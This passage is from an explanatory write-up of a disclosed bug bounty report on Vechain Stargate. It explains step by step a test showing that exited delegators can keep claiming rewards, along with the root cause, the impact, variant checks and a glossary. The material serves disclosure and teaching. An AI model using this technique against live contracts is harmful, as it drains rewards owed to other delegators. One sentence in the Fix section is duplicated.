  2. const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID); looks up the staking level, which says how much VET must be deposited. await means "wait for this to finish before moving on".
  3. tx = await stargateContract.connect(user).stake(LEVEL_ID, { value: levelSpec.vetAmountRequiredToStake }); stakes VET as the user, sending the required amount along with the call. tx is the transaction, the record of the action.
  4. await tx.wait(); waits until the transaction is confirmed.
  5. const tokenId = await stargateNFTMock.getCurrentTokenId(); reads the ID of the NFT just issued, so the test can refer to this stake later.
  6. The next block repeats steps 2 to 5 to create a second stake, tokenId2.
  7. tx = await stargateContract.connect(user).delegate(tokenId, validator.address); delegates the first NFT to the validator.
  8. The same call is repeated for tokenId2, so both stakes are delegated to the same validator.
  9. tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 5); jumps the validator's completed period counter to 5. This is a test helper: on a real blockchain you would have to wait for five periods, but the mock lets the test skip ahead.
  10. tx = await stargateContract.connect(user).requestDelegationExit(tokenId); asks to leave the validator with the first NFT. This is the action that sets endPeriod to the current period.
  11. tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 7); jumps the counter to 7, two periods after the exit.
  12. const claimableBefore = await stargateContract["claimableRewards(uint256)"](tokenId); asks the contract how much reward this NFT can claim right now. The bracket notation is how the test picks one specific version of a function when several share a name.
  13. expect(claimableBefore).to.be.greaterThan(0n); checks that there is something to claim. 0n is the number zero in a special format for very large integers.
  14. const preClaimBalance = await vthoTokenContract.balanceOf(user.address); records the user's VTHO balance before claiming, so the test can measure the change.
  15. tx = await stargateContract.connect(user).claimRewards(tokenId); claims the rewards.
  16. const postClaimBalance = await vthoTokenContract.balanceOf(user.address); records the balance after claiming.
  17. expect(postClaimBalance).to.equal(preClaimBalance + claimableBefore); checks that the balance went up by exactly the amount the contract said was claimable. This proves real tokens moved.
  18. tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 8); jumps the counter one more period, to 8.
  19. let delegateId = await stargateContract.getDelegationIdOfToken(tokenId); looks up the delegation ID for the NFT.
  20. let [, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegateId); reads the delegation's start and end periods, keeping only the end period. The leading comma skips the first value.
  21. const claimableAfter = await stargateContract["claimableRewards(uint256)"](tokenId); asks again how much is claimable, one period after the exit.
  22. expect(claimableAfter).not.to.equal(0n); asserts that the amount is not zero. The comment above says it should be zero, but the test asserts the opposite, because that is what the buggy contract actually does.
  23. The final lines record the balance, claim again, and check that the balance rose by claimableAfter, confirming that the extra reward was really paid out.

The test name states the intended behaviour, that there should be no further rewards after an additional period, while the assertion expect(claimableAfter).not.to.equal(0n) shows the opposite. The balance checks confirm that the claimed amount is actually transferred in VTHO: the post-claim balance equals the pre-claim balance plus the amount reported by claimableRewards.

Root cause

The exit cap in _claimableDelegationPeriods is guarded by endPeriod > nextClaimablePeriod. That guard is correct only for the first claim after the exit. Once lastClaimedPeriod reaches endPeriod, nextClaimablePeriod is endPeriod + 1, the capped branch is skipped, and the function falls through to the branch intended for active delegations, which returns completedPeriods as the end of the claimable range with no reference to the exit. The function therefore stops honouring the exit as soon as the delegator has caught up with it.

The existing checks do not prevent this. The endPeriod != type(uint32).max test only distinguishes exited or exiting delegations from active ones, and endPeriod < currentValidatorPeriod only confirms that the exit period has passed. Neither of them re-applies the cap once nextClaimablePeriod has moved past endPeriod.

Impact

A delegator who has requested an exit, and who does not unstake, can keep claiming rewards for periods after the exit. The rewards the validator allocates to Stargate do not change, so the extra payouts come out of the pool meant for everyone else. The report notes that because delegatorsEffectiveStake is reduced after the exit, the per-period yield for the exiting delegator may even exceed that of normal delegation.

With enough delegators doing this, reward tokens can be drained, and legitimate delegators may be unable to claim rewards or advance reward periods for lack of tokens, which also prevents them from unstaking and effectively locks their funds. The report lists this as temporary freezing of funds for at least 24 hours alongside the theft of unclaimed yield.

Fix

The report does not describe a patch. The report does not describe a patch. The flaw is that the cap at endPeriod is skipped once nextClaimablePeriod moves past it.

Variants to test

  • Claim exactly at the exit period and then once more after the next period, on any staking or delegation contract with a per-period reward accumulator. A positive result is a non-zero claimableRewards after lastClaimedPeriod has reached the exit period.
  • Exit and then re-delegate the same token before unstaking. A positive result is rewards accruing across the gap, or a period counted twice.
  • Multiple tokens from the same account exiting at different periods. A positive result is one token's lastClaimedPeriod influencing the range returned for another, or the shared delegatorsEffectiveStake denominator inflating payouts.
  • Partial claims that leave lastClaimedPeriod just below endPeriod, followed by a claim after the exit period. A positive result is the capped branch being skipped earlier than expected.
  • Compare claimableRewards against the validator's actual allocated rewards for the same periods. A positive result is a claimable total that exceeds what the validator paid in.

Hunting notes

This bug lives in reward accounting that mixes two states, active and exiting, in one function with a shared fall-through branch. The signal during review is a cap or bound that is applied through a comparison against a value the caller controls indirectly, here lastClaimedPeriod, so the cap can be stepped over by claiming up to it. Functions with comments explaining why a condition exists are worth reading closely: the comment above the branch describes the intended behaviour, and the third condition contradicts it.

The researcher built a unit test on the project's own mocks, drove the period counter with the provided helper, and asserted both the claimable amount and the token balance delta. The test name states the expected behaviour and the assertion demonstrates the violation, which makes the finding easy to reproduce and hard to dispute.

Glossary

  • Smart contract: a program stored on a blockchain that runs automatically and cannot be changed after deployment.
  • Blockchain: a shared, tamper-resistant record of transactions maintained by many computers.
  • Staking: locking up cryptocurrency for a period in exchange for rewards.
  • Delegation: handing your staked funds to a validator so it can use them, in exchange for a share of its rewards.
  • Validator: an operator that runs the network and earns rewards, which it shares with delegators.
  • VET: the token users stake in this system.
  • VTHO: the token paid out as staking rewards.
  • NFT (non-fungible token): a unique digital token on a blockchain; here it acts as a receipt for a stake.
  • Period: a fixed slice of time used for reward accounting.
  • Yield: the rewards earned from staking.
  • Bug bounty: a programme that pays researchers for reporting security flaws.
  • Immunefi: the bug bounty platform where this report was submitted.
  • Severity: a rating of how serious a flaw is; here, High.
  • Theft of unclaimed yield: a flaw that lets someone take rewards that belong to others.
  • Temporary freezing of funds: a flaw that prevents users from accessing their funds for a time.
  • Hardhat: a development tool that runs a fake blockchain on a computer for testing contracts.
  • Unit test: an automated test that checks one small piece of behaviour.
  • Mock: a simplified stand-in for a real component, used in tests.
  • Transaction (tx): a record of an action sent to a blockchain.
  • await: a JavaScript keyword meaning "wait for this operation to finish".
  • uint256 / uint32: whole-number types in Solidity; uint32 is smaller and has a maximum value.
  • type(uint32).max: the largest value a uint32 can hold, used here as a marker meaning "no end period".
  • Zero address: the all-zero address, used to mean "nobody".
  • delegatorsEffectiveStake: the total stake the contract divides rewards by; it shrinks when a delegator exits.
  • lastClaimedPeriod: a per-NFT record of the last period for which rewards were claimed.
  • endPeriod: the last period of a delegation; set to the current period when an exit is requested.
  • claimRewards: the function a user calls to collect owed rewards.
  • requestDelegationExit: the function a user calls to announce they are leaving a validator.
  • claimableRewards: a function that reports how much reward an NFT can currently claim.
  • balanceOf: a token function that reports how many tokens an address holds.
  • Denominator: the bottom number of a division; here, the total stake that rewards are divided by.
  • Proof of concept (PoC): a test or demonstration that shows a flaw can actually be triggered.
  • Assertion: a check in a test that a value is what it should be.
  • Fall-through: when code does not take an early branch and continues to the next block of code.
  • Cap: an upper limit on a value, here the last period for which rewards are payable.

More from Vechain | Stargate Hayabusa

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.